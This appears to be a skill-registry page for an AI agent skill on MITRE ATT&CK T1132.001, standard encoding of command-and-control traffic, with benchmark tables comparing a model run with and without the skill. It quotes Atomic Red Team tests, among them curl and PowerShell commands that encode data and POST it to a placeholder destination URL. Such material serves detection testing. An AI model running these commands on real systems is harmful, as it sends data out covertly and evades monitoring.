Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect.
.claude/skills/cyberstrikeus-t1132-001-standard-encoding/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-08 | ✗→✓ | ▲ Improved | 9% | 0% |
| case-12 | ✗→✓ | ▲ Improved | 30% | 0% |
| case-13 | ✗→✓ | ▲ Improved | 39% | 0% |
| case-15 | ✗→✓ | ▲ Improved | -27% | 0% |
| case-16 | ✗→✓ | ▲ Improved | 150% | 0% |
> Sub-technique of: T1132
Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.
Platforms: ESXi, Linux, Windows, macOS
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Utilizing a common technique for posting base64 encoded data.
Supported Platforms: macos, linux
bashecho -n 111-11-1111 | base64 curl -XPOST #{base64_data}.#{destination_url}
Utilizing a common technique for posting base64 encoded data.
Supported Platforms: linux
bashecho -n 111-11-1111 | b64encode -r - curl -XPOST #{base64_data}.#{destination_url}
Dependencies:
XOR encodes the data with a XOR key. Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f
Supported Platforms: windows
powershell$plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}")) $key = "#{key}" $cyphertext = @(); for ($i = 0; $i -lt $plaintext.Count; $i++) { $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length]; } $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext) [System.Net.ServicePointManager]::Expect100Continue = $false Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive
If Atomic Red Team tests are not applicable, manually verify the technique by:
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
| Finding | Severity | Impact | | -------------------------------------- | -------- | ------------------- | | Standard Encoding technique applicable | Low | Command And Control |
| CWE ID | Title | | ------- | ---------------------------------- | | CWE-300 | Channel Accessible by Non-Endpoint |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-01 | fail→fail | 24,078 | 28,285 | +17% | 1 | 1 | 0% | 3,374 | 5,438 | +61% | 0 | 0 | — |
case-02 | fail→fail | 13,984 | 18,272 | +31% | 1 | 1 | 0% | 2,251 | 3,462 | +54% | 0 | 0 | — |
case-03 | fail→fail | 33,849 | 37,533 | +11% | 1 | 1 | 0% | 5,734 | 5,885 | +3% | 0 | 0 | — |
case-04 | pass→pass | 24,579 | 27,751 | +13% | 1 | 1 | 0% | 3,896 | 6,162 | +58% | 0 | 0 | — |
case-05 | pass→pass | 28,928 | 34,231 | +18% | 1 | 1 | 0% | 4,024 | 7,420 | +84% | 0 | 0 | — |
case-06 | pass→pass | 22,284 | 40,143 | +80% | 1 | 1 | 0% | 3,743 | 6,157 | +64% | 0 | 0 | — |
case-07 | pass→pass | 25,952 | 9,993 | -61% | 1 | 1 | 0% | 3,015 | 2,069 | -31% | 0 | 0 | — |
case-08 | fail→pass | 14,474 | 5,732 | -60% | 1 | 1 | 0% | 1,695 | 1,847 | +9% | 0 | 0 | — |
case-09 | pass→pass | 16,590 | 11,785 | -29% | 1 | 1 | 0% | 2,260 | 1,755 | -22% | 0 | 0 | — |
case-10 | pass→pass | 5,654 | 7,849 | +39% | 1 | 1 | 0% | 966 | 2,513 | +160% | 0 | 0 | — |
case-11 | pass→pass | 14,700 | 20,200 | +37% | 1 | 1 | 0% | 1,850 | 3,745 | +102% | 0 | 0 | — |
case-12 | fail→pass | 22,796 | 17,617 | -23% | 1 | 1 | 0% | 2,802 | 3,639 | +30% | 0 | 0 | — |
case-13 | fail→pass | 14,122 | 17,502 | +24% | 1 | 1 | 0% | 2,025 | 2,813 | +39% | 0 | 0 | — |
case-14 | pass→pass | 8,602 | 1,867 | -78% | 1 | 1 | 0% | 656 | 1,530 | +133% | 0 | 0 | — |
case-15 | fail→pass | 19,826 | 8,553 | -57% | 1 | 1 | 0% | 2,438 | 1,770 | -27% | 0 | 0 | — |
case-16 | fail→pass | 20,077 | 3,018 | -85% | 1 | 1 | 0% | 701 | 1,749 | +150% | 0 | 0 | — |
case-17 | pass→pass | 16,340 | 8,877 | -46% | 1 | 1 | 0% | 1,864 | 1,939 | +4% | 0 | 0 | — |
case-18 | pass→pass | 14,757 | 2,263 | -85% | 1 | 1 | 0% | 2,047 | 1,491 | -27% | 0 | 0 | — |
case-19 | fail→pass | 15,741 | 2,429 | -85% | 1 | 1 | 0% | 1,608 | 1,570 | -2% | 0 | 0 | — |
case-20 | fail→pass | 14,219 | 8,074 | -43% | 1 | 1 | 0% | 1,512 | 1,654 | +9% | 0 | 0 | — |
case-21 | pass→pass | 20,278 | 8,077 | -60% | 1 | 1 | 0% | 2,207 | 2,413 | +9% | 0 | 0 | — |
case-22 | fail→pass | 12,596 | 3,962 | -69% | 1 | 1 | 0% | 1,268 | 1,565 | +23% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted, and 21 counted toward the lift figure. The other 1 produced results that are not comparable between the two arms, so they are excluded from the headline rather than averaged into it. The headline lift of +36 percentage points is the difference between those two pass rates over the 21 comparable cases.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.